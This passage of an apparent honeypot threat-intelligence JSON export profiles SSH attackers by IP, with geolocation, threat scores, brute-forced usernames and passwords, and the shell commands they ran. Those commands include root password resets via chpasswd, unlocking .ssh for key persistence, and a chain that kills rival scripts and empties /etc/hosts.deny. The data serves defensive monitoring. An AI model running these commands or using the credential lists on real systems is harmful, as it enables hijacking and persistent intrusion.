      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx@#",
        "1122",
        "1234",
        "123456**",
        "1234567",
        "123456a",
        "A123456987",
        "ASD123456",
        "Admin123456789@@",
        "Frappe29!",
        "Ftpuser2025",
        "Guest2026!",
        "P@ssw0rd",
        "Test12",
        "abc@123",
        "admin01!",
        "admin1234",
        "ali17"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Guest2026!\\n7G71PRwWKNTN\\n7G71PRwWKNTN\\n\"|passwd",
        "echo \"admin1234\\noSXvwBNHKTj0\\noSXvwBNHKTj0\\n\"|passwd",
        "echo -e \"Guest2026!\\n7G71PRwWKNTN\\n7G71PRwWKNTN\"|passwd|bash",
        "echo -e \"admin1234\\noSXvwBNHKTj0\\noSXvwBNHKTj0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 27847,
      "as_org": "TECNOLOGIA DIGITAL, S.A. DGTEC",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:49:48.168000+00:00",
        "last_seen_30d": "2026-04-23T12:18:48.400000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 66
      }
    },
    "31.24.230.169": {
      "attack_count": 264,
      "first_seen": "2026-04-30T19:45:22.189Z",
      "last_seen": "2026-04-30T19:49:10.325Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:45:22.189000+00:00",
        "last_seen_30d": "2026-04-30T19:50:17.637000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 264,
        "Suricata": 133
      }
    },
    "152.32.226.88": {
      "attack_count": 263,
      "first_seen": "2026-04-05T15:51:29.615Z",
      "last_seen": "2026-04-05T16:46:25.729Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "prueba",
        "ali",
        "claude",
        "mary",
        "myappuser",
        "n8n",
        "oracle",
        "pc",
        "postgres",
        "rootuser",
        "test4",
        "tutor",
        "vpn",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100202600",
        "1111",
        "123",
        "123!@#Aa",
        "123-ZXCV",
        "1234",
        "123456",
        "123@qq.com",
        "A123456R",
        "Aa123456..",
        "Adm@2026",
        "Ali29",
        "Claude3",
        "Secure@2026",
        "aaXX1234",
        "bt123456",
        "mary",
        "n8n13!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"A123456R\\n6iDTXrP5RwHC\\n6iDTXrP5RwHC\\n\"|passwd",
        "echo \"test123\\niWySb1CIrWFk\\niWySb1CIrWFk\\n\"|passwd",
        "echo -e \"A123456R\\n6iDTXrP5RwHC\\n6iDTXrP5RwHC\"|passwd|bash",
        "echo -e \"test123\\niWySb1CIrWFk\\niWySb1CIrWFk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:51:29.615000+00:00",
        "last_seen_30d": "2026-04-05T16:47:27.627000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "61.110.195.135": {
      "attack_count": 262,
      "first_seen": "2026-04-13T05:44:11.173Z",
      "last_seen": "2026-04-13T06:28:03.684Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "user",
        "345gs5662d34",
        "steam",
        "ubuntu",
        "admin",
        "dbg",
        "saad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "01020264",
        "123321",
        "12345.qwe",
        "123456ly",
        "123qwe!@#QWE",
        "132132",
        "P@55W0rd",
        "Qazwsx666@123",
        "Wc123456",
        "ZZzz123123",
        "admin",
        "admin0!@",
        "admin01",
        "admin1!",
        "asdfgh1",
        "bbCC1234",
        "dbg",
        "newpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:w9QvrXIOcY1h\"|chpasswd|bash",
        "echo \"user30\\n8GLDJASTlODq\\n8GLDJASTlODq\\n\"|passwd",
        "echo -e \"user30\\n8GLDJASTlODq\\n8GLDJASTlODq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 54994,
      "as_org": "Meteverse Limited.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T05:44:11.173000+00:00",
        "last_seen_30d": "2026-04-13T06:29:11.199000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "43.243.142.42": {
      "attack_count": 236,
      "first_seen": "2026-04-01T22:40:11.045Z",
      "last_seen": "2026-04-01T23:51:40.879Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r..",
        "1qaz2wsx~",
        "AB1234",
        "ABC@2026",
        "Adm!n",
        "Ar123456",
        "Ht123456@",
        "P@$$word3",
        "QWERTY123",
        "QWer12",
        "Software@123",
        "a5351237",
        "angel123",
        "bigpenis",
        "deftones",
        "ln123456",
        "rooot",
        "simpson"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:gnT4lKeccmlx\"|chpasswd|bash",
        "echo \"root:lTsVAmvWUvcQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T22:40:11.045000+00:00",
        "last_seen_30d": "2026-04-01T23:52:46.213000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "200.155.66.2": {
      "attack_count": 214,
      "first_seen": "2026-04-25T21:22:44.558Z",
      "last_seen": "2026-04-25T22:01:31.684Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git",
        "test",
        "claude",
        "user",
        "345gs5662d34",
        "azureuser",
        "deploy",
        "frontend",
        "ftpuser",
        "maya",
        "n8n",
        "nexus",
        "oot",
        "robin",
        "sammy",
        "steam",
        "user1",
        "vpn"
      ],
      "passwords_attempted": [
        "Aa112211.",
        "nPSpP4PBW0",
        "000000",
        "1234",
        "123456",
        "12345678",
        "1234567890",
        "123qwe",
        "20259999",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "N8n1",
        "PassW0rd",
        "Root123321@123",
        "User04!",
        "Vpn03",
        "Xx@123456",
        "admin",
        "claude28!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"claude28!\\nxcrXzdQ6pI8K\\nxcrXzdQ6pI8K\\n\"|passwd",
        "echo -e \"claude28!\\nxcrXzdQ6pI8K\\nxcrXzdQ6pI8K\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 15830,
      "as_org": "Equinix (EMEA) Acquisition Enterprises B.V.",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T21:22:44.558000+00:00",
        "last_seen_30d": "2026-04-25T22:02:37.939000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 69
      }
    },
    "78.153.139.68": {
      "attack_count": 203,
      "first_seen": "2026-04-26T05:53:45.673Z",
      "last_seen": "2026-04-26T06:20:34.373Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "deploy",
        "dev",
        "ec2-user",
        "steam",
        "steam1",
        "test",
        "tina"
      ],
      "passwords_attempted": [
        "1234",
        "123456@abc",
        "123456Asd",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211.",
        "Asd1234567",
        "Df123456",
        "Frappe9",
        "P@ssworD1",
        "QWE@123",
        "Qazwsx2020",
        "Qwe@12",
        "Root12345..",
        "Ubuntu30",
        "Zxcv.1234",
        "abcd@1234",
        "admin31",
        "dev9",
        "ec2-user@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:no466lAm8pFg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:53:45.673000+00:00",
        "last_seen_30d": "2026-04-26T06:21:43.048000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "86.253.186.50": {
      "attack_count": 203,
      "first_seen": "2026-04-24T19:52:55.585Z",
      "last_seen": "2026-04-24T20:24:28.891Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ali",
        "n8n",
        "ubuntu",
        "345gs5662d34",
        "centos",
        "dev",
        "jy",
        "ken",
        "luo",
        "server",
        "sftptest",
        "steam",
        "svn",
        "test",
        "user1",
        "vip"
      ],
      "passwords_attempted": [
        "123456",
        "1029384756",
        "123456Ab",
        "2026",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@#456",
        "Ali13!",
        "Dev$",
        "MoeClub.org",
        "N8n15",
        "Root12345",
        "Steam6",
        "admin@123",
        "admin@1234",
        "ali!123",
        "debian",
        "ken",
        "luo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gwEWlCYlNMGB\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Morlaix",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T19:52:55.585000+00:00",
        "last_seen_30d": "2026-04-24T20:25:34.627000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "99.92.204.98": {
      "attack_count": 203,
      "first_seen": "2026-04-24T15:52:04.433Z",
      "last_seen": "2026-04-24T16:33:59.212Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "claude",
        "dev",
        "frappe",
        "ftpadmin",
        "ftptest",
        "njzf",
        "odoo",
        "office",
        "oracle",
        "server",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "123456Ti",
        "123qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "A1s2d3f4",
        "Aa112211.",
        "Ali26",
        "Dev11!",
        "Frappe4",
        "Oracle1234",
        "Oracle37211wdv",
        "QWER1111",
        "Qazwsx54321@123",
        "Root6666#",
        "Server11!",
        "aaZZ112233",
        "claude3",
        "nPSpP4PBW0",
        "njzf",
        "odoo!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FqGc1b3O2NX6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T15:52:04.433000+00:00",
        "last_seen_30d": "2026-04-24T16:35:00.820000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "131.161.219.137": {
      "attack_count": 199,
      "first_seen": "2026-04-23T00:48:58.425Z",
      "last_seen": "2026-04-23T01:20:50.851Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "testuser",
        "345gs5662d34",
        "admin1234",
        "deploy",
        "ftpuser",
        "online",
        "renato",
        "sammy",
        "sftptest",
        "storage",
        "test",
        "ubuntu",
        "user2"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "1020264050",
        "123",
        "123456789**",
        "123987",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "@Admin123",
        "A1234567899876543210A",
        "Ftpuser4",
        "P@$$w0rd",
        "Root1111111#$",
        "Sammy1@",
        "Test$%^&",
        "Test@123",
        "Testing@123",
        "ZAQ!2wsx2019#$",
        "ZAQ!2wsx2023!!",
        "admin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"testuser123\\nBcAsMl0PK0ep\\nBcAsMl0PK0ep\\n\"|passwd",
        "echo -e \"testuser123\\nBcAsMl0PK0ep\\nBcAsMl0PK0ep\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Almirante Tamandar\u00e9",
      "asn": 264393,
      "as_org": "NetBrasil Telecom LTDA",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T00:48:58.425000+00:00",
        "last_seen_30d": "2026-04-23T01:21:53.646000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "23.95.248.48": {
      "attack_count": 194,
      "first_seen": "2026-04-06T03:51:15.798Z",
      "last_seen": "2026-04-06T04:40:45.726Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "max",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "as",
        "azure",
        "odoo",
        "onlyoffice",
        "oracle",
        "postgres",
        "user",
        "ypwang"
      ],
      "passwords_attempted": [
        "!2024",
        "123.",
        "12345678",
        "123456@qq",
        "123P@ssw0rd",
        "3245gs5662d34",
        "345gs5662d34",
        "Frappe08",
        "Odoo05",
        "Qwertyui",
        "Ubuntu1@",
        "aaAA11!!",
        "aabb1122",
        "admin24!",
        "as",
        "asdf!!",
        "frappe25",
        "onlyoffice",
        "oracle07",
        "pass321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"tester\\n0VDUn6s7dqPJ\\n0VDUn6s7dqPJ\\n\"|passwd",
        "echo -e \"tester\\n0VDUn6s7dqPJ\\n0VDUn6s7dqPJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:51:15.798000+00:00",
        "last_seen_30d": "2026-04-06T04:41:50.756000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "103.31.39.143": {
      "attack_count": 193,
      "first_seen": "2026-04-04T03:25:09.865Z",
      "last_seen": "2026-04-04T05:00:23.591Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "banana",
        "dev",
        "ekp",
        "ftpuser",
        "sipv",
        "test",
        "testuser",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "1qa2ws#ED",
        "1qaz!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "8ik,@123",
        "AA123123",
        "Dev123",
        "Login123",
        "Pass123456@",
        "Pass2026",
        "Qq1314520",
        "Qwe123",
        "Qwer1234",
        "Win@1234",
        "a123456w",
        "banana",
        "ekp",
        "p@ssw0rd",
        "qazwsx12@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Vo4mdDRnpN73\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
